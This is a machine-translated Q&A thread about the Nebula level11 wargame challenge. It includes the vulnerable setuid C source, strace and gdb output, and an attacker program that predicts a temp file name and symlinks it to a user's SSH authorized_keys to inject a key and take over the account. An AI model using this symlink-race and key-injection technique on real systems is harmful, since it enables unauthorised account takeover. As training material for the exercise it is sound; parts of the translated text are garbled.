_exploit-exercises.com
_ プラットフォームで level11Nebula 5 を解決しようとしています。
私は挑戦の基本的な考えを理解したと思います。実際、このレベルの非常に多くの記事がインターネット上にあります。
問題は、getflag
を実行しようとしたときに、実行中にsetuid
ビットが失われたようです。 _/tmp/
_がオプションnosuid
でマウントされていることを知っているので、その上にsuidプログラムを置くことはできません。しかし、私がそれを試したときそれは私のケースではありませんでした。
ここで実際に何が起こっているのか、このチャレンジの意図しないバグであるかどうか、そして回避策(おそらくルートを介して)を教えてくれる人がいるかどうか疑問に思います。
system()
を呼び出すときに非常に壊れやすいように見えるので、setuid
ビットのメカニズムをまだ明確に理解していないようです。
また、一部の記事では、bash
がsetuid
ビットを無効にするという事実に言及していますが、これはかなり怪しいようです(setuid
プログラムを実行して実行しました)。私は誰かがそれについていくつかの洞察を与えることができる、私も喜んでいるでしょう。
Gillesが提案したように、ここに問題の詳細をいくつか追加します。
したがって、基本的には、このレベルを活用する最も簡単な方法は、_Content-Length
_を1に設定した場合(_Content-Length: 1
_をstdin
に書き込む)、文字(決定論的なプロセスによって別のものに翻訳されます)。取得した文字列はnull(_\0
_)で終了せず、文字列の内容がメモリの現在の内容に追加されます。次に、文字列全体がsystem()
関数を通過します。
実際には、メモリ内で_\0
_文字を見つける可能性が高いため、取得した文字をコマンドとして呼び出すことができます。
次に、D
からgetflag
(レベルのフラグを取得するために使用されるソフトウェア)へのシンボリックリンクを設定し、D
の場所をPATH
変数。それはそのようなものを与えるはずです:
_level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
sh: DPo: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
sh: $'D\260@': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
sh: $'D\220': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
sh: D: command not found
_
次に、シンボリックリンクをgetflag
に追加します。
_level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
getflag is executing on a non-flag account, this doesn't count
_
したがって、問題は_/home/flag11/flag11
_ソフトウェアがsetuid
であり、次の権限があることです。
_-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 /home/flag11/flag11*
_
'attacker user'は_level11
_であり、 'target user 'は_flag11
_です。
それにもかかわらず、setuid
ビットはプログラムによって尊重されていないようで、getflag
プログラムを実行すると_level11
_に戻ります(ただし、実行中は_flag11
_です) _/home/flag11/flag11
_の実行。
だから、私の質問は「なぜ?」です。
また、他のレベルも適切に機能しているように見えることも付け加えておきます。これはこのシステムでの最初のsetuid攻撃ではなく、他のすべては正常に機能しているようです。
必要なファイルは_/home/flag11
_の下にあります。
_level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11 100 2016-12-20 15:11 .
drwxr-xr-x 1 root root 140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11 14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11 3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11 60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11 675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11 60 2016-12-20 15:07 .ssh
_
この小さな_.ssh
_フォルダは、私の脳内にある種のアラーム信号を発生させます。後で必要になるかもしれません。ご覧のとおり、最近アクセスしたファイルの一部です。これは私の攻撃によるものでした。
添付の演習のCコードは次のとおりです。
_#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
_
このコードを分析した後、_Return a random, non predictable file, and return the file descriptor for it.
_。誰かが予測できないと言ったとき、私は予測しようとします。残りのコードは検査が必要なので、これは少し延期する必要があります。古いLinuxシステムでは、プロセスのpidはかなり予測可能です。もちろん、時間とともにシードされたsrandom()
も予測可能です。
さて、process
のバッファを解読するために使用されるいくつかの[〜#〜] xor [〜#〜]暗号化スキームがあり、これ解読されたバッファはシステムに渡されます。ここで、いくつかの攻撃的な呼び出しを挿入する必要があります。ファイルの検査から、これがもう1つのsetuid
ビットの課題であることがわかったので、これは私が思ったように不調になっていることを承知しています。率直に言って、私は少し楽観的でした。
メイン関数では、処理バッファーはstdin
で満たされ、ハードコードされたプレフィックスナッシングマジックに対してチェックされます。
_#define CL "Content-Length: "
int main(int argc, char **argv)
{
// ...
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
//...
}
_
err
関数は、ヒットしたときに実行可能ファイルを終了します。次のチェックif(fread(buf, length, 1, stdin) != length) {
をバイパスするには、この実行可能ファイルに渡される長さが1である必要があります。この場合、挿入されるコードは非常に制限されます。オーバーフローatoiと負の数のテストは常に失敗しました。 fread
はバイト数ではなく、読み取られたアイテムの数を返すため、この場合は常に1を返します。 PATH
変数に制御下にあるパスを装うことができることがわかっている他の演習を形成します。したがって、マジックprocess()
関数に単一の文字を挿入する必要があるだけです。 [〜#〜] xor [〜#〜]の逆はかなり単純です。コマンドを実行するには、バッファ全体がsystem
に渡されるため、いくつかの試行が必要になる場合があります。バッファはmainのスタックに配置されているため、ゴミでいっぱいです。しかし、2番目の文字でゼロに到達する可能性はそれほど悪くありません。私はすでに自分の成功を感じていましたが、それからこれを得ました:
_getflag is executing on a non-flag account, this doesn't count
_
今回は不正行為ではありませんでしたが、提供されたソースコードの星雲の作者は、システムを呼び出す前にsetuid
ビットを削除したことについて触れていません。これはstrace
コマンドによって公開されました。
_getgid32() = 1012
setgid32(1012) = 0
getuid32() = 1012
setuid32(1012) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180
_
さて、これは行き止まりのようです。設計図に戻ると、[〜#〜] ssh [〜#〜]のアイデアが再び現れました。しかし、どのように_.ssh
_フォルダを使用できますか。これは、_authorized_keys
_ファイルをそこに挿入するのが非常に簡単です。しかし、これをsetuid
なしで実現するにはどうすればよいでしょうか。
_ } else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
_
これまでのところ、buffer
長さチェックのelseケースは完全に無視しました。これが、スーパートップシークレットの一時ファイル名がゲームに登場する場所です。ファイルを制御するには、シェルから環境変数を定義する必要があります。後で攻撃を実行します。
_export TEMP=/tmp
_
これは、被害者の[〜#〜] pid [〜#〜]を推測するだけの問題です。これは簡単です。stdoutを被害者のstdinにパイプすると、可能性が高くなるだけで、私たちの標準の1つになります。それ以外の場合は、popen()
を使用して_ps | grep flag11
_からpidを挿入できます。時間の部分は秒単位の時間なので、非常に簡単です。安定した成功率を得るために、次の1秒間のファイル名も使用します。攻撃者のコード全体は次のようになります。
_int getrand(char **path, int pid, int time)
{
char *tmp;
int fd = 0;
srandom(time);
tmp = getenv("TEMP");
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
return fd;
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";
int pid;
int fd;
char *path;
FILE* stream;
pid = getpid()+1;
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys",path);
getrand(&path, pid, time(NULL)+1);
symlink("/home/flag11/.ssh/authorized_keys",path);
fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}
_
Sshキーを最初に生成する必要があります。これらの奇妙なチェックを色で満たそうとするのに、少し時間がかかりました。おそらく、オーバーフローの問題が発生しないように、time()
関数の形式を確認する必要があります。現時点では、バッファを暗号化する必要がない理由は不明です。たぶん、mmap関数の専門分野です。とにかく、sshキーを挿入すると、flag11アカウントにログインしてフラグを取得できます。
_level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
flag11@nebula:~$ getflag
You have successfully executed getflag on a target account
flag11@nebula:~$
_
ここではBashは関与していません。 system
関数はsh
を実行し、Ubuntuではsh
はbashではなくダッシュです。 bashとは異なり、dashは特権を削除しません。そのページに表示されているソースコードがsetuidビットを使用してコンパイルおよびインストールされている場合、所有者ユーザーとして実行され、system
を介して実行されるコマンドも所有者ユーザーとして実行されます。
エクササイズがどのように設定されているのか、まだ見ていません。ファイルを読み取る必要がある可能性があります。プログラムがsystem
を設定せずにPATH
を呼び出す場合、PATH
に短い名前のファイルを配置して、最終的に渡される文字列に対して複雑な計算を行う必要をなくすことができます。 system
に。そのファイルを、フラグを取得するために必要なことをすべて実行するシェルスクリプトにします。ファイルを読み取るか、getflag
プログラムを呼び出します。
バイナリがページのコードと一致しないようです。
$ gdb /home/flag11/flag11
$ (gdb) disass process
0x080489c7 <+0>: Push %ebp
0x080489c8 <+1>: mov %esp,%ebp
0x080489ca <+3>: sub $0x28,%esp
0x080489cd <+6>: mov 0xc(%ebp),%eax
0x080489d0 <+9>: and $0xff,%eax
0x080489d5 <+14>: mov %eax,-0x10(%ebp)
0x080489d8 <+17>: movl $0x0,-0xc(%ebp)
0x080489df <+24>: jmp 0x8048a0c <process+69>
0x080489e1 <+26>: mov -0xc(%ebp),%eax
0x080489e4 <+29>: add 0x8(%ebp),%eax
0x080489e7 <+32>: mov -0xc(%ebp),%edx
0x080489ea <+35>: add 0x8(%ebp),%edx
0x080489ed <+38>: movzbl (%edx),%edx
0x080489f0 <+41>: mov %edx,%ecx
0x080489f2 <+43>: mov -0x10(%ebp),%edx
0x080489f5 <+46>: xor %ecx,%edx
0x080489f7 <+48>: mov %dl,(%eax)
0x080489f9 <+50>: mov -0xc(%ebp),%eax
0x080489fc <+53>: add 0x8(%ebp),%eax
0x080489ff <+56>: movzbl (%eax),%eax
0x08048a02 <+59>: movsbl %al,%eax
0x08048a05 <+62>: sub %eax,-0x10(%ebp)
0x08048a08 <+65>: addl $0x1,-0xc(%ebp)
0x08048a0c <+69>: mov -0xc(%ebp),%eax
0x08048a0f <+72>: cmp 0xc(%ebp),%eax
0x08048a12 <+75>: jl 0x80489e1 <process+26>
0x08048a14 <+77>: call 0x8048700 <getgid@plt>
0x08048a19 <+82>: mov %eax,(%esp)
0x08048a1c <+85>: call 0x8048690 <setgid@plt> // <---
0x08048a21 <+90>: call 0x8048630 <getuid@plt>
0x08048a26 <+95>: mov %eax,(%esp)
0x08048a29 <+98>: call 0x8048730 <setuid@plt> // <---
0x08048a2e <+103>: mov 0x8(%ebp),%eax
0x08048a31 <+106>: mov %eax,(%esp)
0x08048a34 <+109>: call 0x80486a0 <system@plt>
0x08048a39 <+114>: leave
0x08048a3a <+115>: ret
入手したバージョンはシステムを呼び出す前に権限を落としているようです。
編集:要求に応じて詳細を追加します。
ここでCコードを見ると https://exploit-exercises.com/nebula/level11/
次に、プロセス関数は次のようになります。
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
ここには関数呼び出しが1つしかありません-system(buffer)。
/ home/flag11/flag11をgdb(上記のコードフラグメント)で見ると、getgid、setgid、getuid、setuid、systemの5つの呼び出しを数えることができます。コンパイルされたバージョンがWebページのソースコードと一致しません。これらの追加の呼び出しは、システムを呼び出す前に特権を削除します。この課題を解決できない可能性があります。
ユーザー 'nebula'(パスワード 'nebula')としてログインし、コードを https://exploit-exercises.com/nebula/level11/ からダウンロードしてビルドし、/ home/flag11を置き換えることができます。/flag11。次に、このレベルを解決できます。